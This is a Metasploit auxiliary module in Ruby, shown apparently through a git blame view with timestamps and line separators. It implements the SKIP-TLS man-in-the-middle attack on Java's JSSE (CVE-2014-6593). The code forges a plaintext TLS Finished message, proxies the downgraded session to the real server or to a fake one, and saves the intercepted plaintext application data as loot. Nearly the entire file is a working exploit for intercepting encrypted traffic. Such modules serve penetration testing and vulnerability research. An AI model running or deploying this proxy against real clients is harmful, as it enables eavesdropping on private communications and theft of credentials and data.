2015-06-09 02:41:17 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'openssl'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an incomplete internal state distinction in Java Secure
|
|
|
|
Socket Extension (JSSE) by impersonating the server and finishing the
|
|
|
|
handshake before the peers have authenticated themselves and instantiated
|
|
|
|
negotiated security parameters, resulting in a plaintext SSL/TLS session
|
|
|
|
with the client. This plaintext SSL/TLS session is then proxied to the
|
|
|
|
server using a second SSL/TLS session from the proxy to the server (or an
|
|
|
|
alternate fake server) allowing the session to continue normally and
|
|
|
|
plaintext application data transmitted between the peers to be saved. This
|
|
|
|
module requires an active man-in-the-middle attack.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Ramon de C Valle'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
[ 'Service' ]
|
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
|
|
|
'Service'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Service',
|
|
|
|
'References' => [
|
|
|
|
['CVE', '2014-6593'],
|
|
|
|
['CWE', '372'],
|
|
|
|
['URL', 'https://www.smacktls.com/#skip'],
|
|
|
|
['URL', 'https://www.smacktls.com/smack.pdf'],
|
|
|
|
['URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html'],
|
|
|
|
['URL', 'https://www-304.ibm.com/support/docview.wss?uid=swg21695474']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 20 2015'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FAKEHOST', [ false, 'The fake server address', nil]),
|
|
|
|
OptString.new('FAKEPORT', [ false, 'The fake server port', 443]),
|
|
|
|
OptString.new('HOST', [ true, 'The server address', nil]),
|
|
|
|
OptString.new('PORT', [ true, 'The server port', 443]),
|
|
|
|
OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
|
|
|
|
OptString.new('SRVPORT', [ true, 'The proxy port', 443]),
|
|
|
|
OptInt.new('TIMEOUT', [ true, 'The timeout, in seconds', 5])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2015-06-21 01:23:34 +00:00
|
|
|
def prf(secret, label, seed)
|
2015-06-09 02:41:17 +00:00
|
|
|
if secret.empty?
|
|
|
|
s1 = s2 = ''
|
|
|
|
else
|
|
|
|
length = ((secret.length * 1.0) / 2).ceil
|
|
|
|
s1 = secret[0..(length - 1)]
|
|
|
|
s2 = secret[(length - 1)..(secret.length - 1)]
|
|
|
|
end
|
|
|
|
|
|
|
|
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed)
|
|
|
|
hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed)
|
|
|
|
|
|
|
|
hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed)
|
|
|
|
hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha + label + seed)
|
|
|
|
|
|
|
|
result = ''
|
|
|
|
[hmac_md5.length, hmac_sha.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha.getbyte(i) || 0)].pack('C') }
|
|
|
|
result
|
|
|
|
end
|
|
|
|
|
2015-06-21 01:23:34 +00:00
|
|
|
def prf_sha256(secret, label, seed)
|
2015-06-09 02:41:17 +00:00
|
|
|
hmac_hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)
|
|
|
|
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_hash + label + seed)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
fake_host = datastore['FAKEHOST'] || datastore['HOST']
|
|
|
|
fake_port = datastore['FAKEPORT'] || datastore['PORT']
|
|
|
|
host = datastore['HOST']
|
|
|
|
local_host = datastore['SRVHOST']
|
|
|
|
local_port = datastore['SRVPORT']
|
|
|
|
port = datastore['PORT']
|
|
|
|
timeout = datastore['TIMEOUT']
|
|
|
|
|
|
|
|
proxy = TCPServer.new(local_host, local_port)
|
|
|
|
print_status('Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]])
|
|
|
|
|
2015-06-21 01:48:10 +00:00
|
|
|
thread_num = 0
|
|
|
|
|
2015-06-09 02:41:17 +00:00
|
|
|
loop do
|
2015-06-21 01:48:10 +00:00
|
|
|
framework.threads.spawn("Thread #{thread_num += 1}", false, proxy.accept) do |client|
|
2015-06-09 02:41:17 +00:00
|
|
|
#loop do
|
|
|
|
finished_sent = false
|
|
|
|
handshake_messages = ''
|
|
|
|
application_data = ''
|
|
|
|
|
|
|
|
#client = proxy.accept
|
|
|
|
|
|
|
|
print_status('Accepted connection from %s:%d' % [client.addr[2], client.addr[1]])
|
|
|
|
|
|
|
|
context = OpenSSL::SSL::SSLContext.new(:TLSv1_2)
|
|
|
|
context.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
|
|
|
|
|
|
|
tcp_socket = TCPSocket.new(fake_host, fake_port)
|
|
|
|
fake_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
|
|
|
|
fake_server.connect
|
|
|
|
|
|
|
|
print_status('Connected to %s:%d' % [fake_host, fake_port])
|
|
|
|
|
|
|
|
server = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM)
|
|
|
|
|
|
|
|
begin
|
|
|
|
server.connect_nonblock(Socket.pack_sockaddr_in(port, host))
|
|
|
|
|
|
|
|
rescue IO::WaitWritable
|
|
|
|
raise Errno::ETIMEDOUT if IO.select(nil, [server], nil, timeout).nil?
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status('Connected to %s:%d' % [host, port])
|
|
|
|
|
|
|
|
begin
|
|
|
|
loop do
|
|
|
|
readable, _, _ = IO.select([client, server])
|
|
|
|
|
|
|
|
readable.each do |r|
|
|
|
|
case r
|
|
|
|
when fake_server
|
|
|
|
# The fake_server (i.e., server) is an SSL socket; Read
|
|
|
|
# application data directly.
|
|
|
|
header = ''
|
|
|
|
fragment = r.readpartial(4096)
|
|
|
|
|
|
|
|
else
|
|
|
|
header = r.read(5)
|
|
|
|
raise EOFError if header.nil?
|
|
|
|
fragment = r.read(header[3, 2].unpack('n')[0])
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status('%d bytes received' % [header.length + fragment.length])
|
|
|
|
|
|
|
|
# Drop the server hello done message and send the finished
|
|
|
|
# message in plaintext.
|
|
|
|
if fragment =~ /^\x0e\x00\x00\x00/
|
|
|
|
if header[2, 1] == "\x03"
|
2015-06-21 01:23:34 +00:00
|
|
|
verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages))
|
2015-06-09 02:41:17 +00:00
|
|
|
verify_data = verify_data[0, 12]
|
|
|
|
else
|
2015-06-21 01:23:34 +00:00
|
|
|
verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages))
|
2015-06-09 02:41:17 +00:00
|
|
|
verify_data = verify_data[0, 12]
|
|
|
|
end
|
|
|
|
|
|
|
|
finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}"
|
|
|
|
record = header[0, 3] + [finished.length].pack('n') + finished
|
|
|
|
|
|
|
|
count = client.write(record)
|
|
|
|
client.flush
|
|
|
|
print_status('%d bytes sent' % [count])
|
|
|
|
|
|
|
|
finished_sent = true
|
|
|
|
|
|
|
|
# Change to the SSL socket connected to the same server or
|
|
|
|
# to an alternate fake server.
|
|
|
|
server.close
|
|
|
|
server = fake_server
|
|
|
|
|
|
|
|
# Save version used in the handshake
|
|
|
|
version = header[2, 1]
|
|
|
|
|
|
|
|
next
|
|
|
|
else
|
|
|
|
# Save handshake messages
|
|
|
|
handshake_messages << fragment
|
|
|
|
end unless finished_sent
|
|
|
|
|
|
|
|
# Save application data
|
|
|
|
application_data << fragment if finished_sent
|
|
|
|
|
|
|
|
case r
|
|
|
|
when client
|
|
|
|
if finished_sent
|
|
|
|
# The server (i.e., fake_server) is an SSL socket
|
|
|
|
count = server.write(fragment)
|
|
|
|
else
|
|
|
|
# The server isn't an SSL socket
|
|
|
|
count = server.write(header + fragment)
|
|
|
|
end
|
|
|
|
|
|
|
|
server.flush
|
|
|
|
print_status('%d bytes sent' % [count])
|
|
|
|
|
|
|
|
when fake_server
|
|
|
|
# The client isn't an SSL socket; Add the record layer header
|
|
|
|
# with the same version used in the handshake.
|
|
|
|
header = "\x17\x03#{version}" + [fragment.length].pack('n')
|
|
|
|
record = header + fragment
|
|
|
|
count = client.write(record)
|
|
|
|
client.flush
|
|
|
|
print_status('%d bytes sent' % [count])
|
|
|
|
|
|
|
|
when server
|
|
|
|
record = header + fragment
|
|
|
|
count = client.write(record)
|
|
|
|
client.flush
|
|
|
|
print_status('%d bytes sent' % [count])
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue EOFError, Errno::ECONNRESET
|
|
|
|
path = store_loot(
|
|
|
|
'tls.application_data',
|
|
|
|
'application/octet-stream',
|
|
|
|
client.addr[2],
|
|
|
|
application_data,
|
|
|
|
'application_data',
|
|
|
|
'TLS session application data'
|
|
|
|
)
|
|
|
|
|
|
|
|
print_good("SSL/TLS session application data successfully stored in #{path}")
|
|
|
|
|
|
|
|
client.close
|
|
|
|
fake_server.close
|
|
|
|
server.close
|
|
|
|
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
|
|
|
client.close
|
|
|
|
fake_server.close
|
|
|
|
server.close
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
proxy.close
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|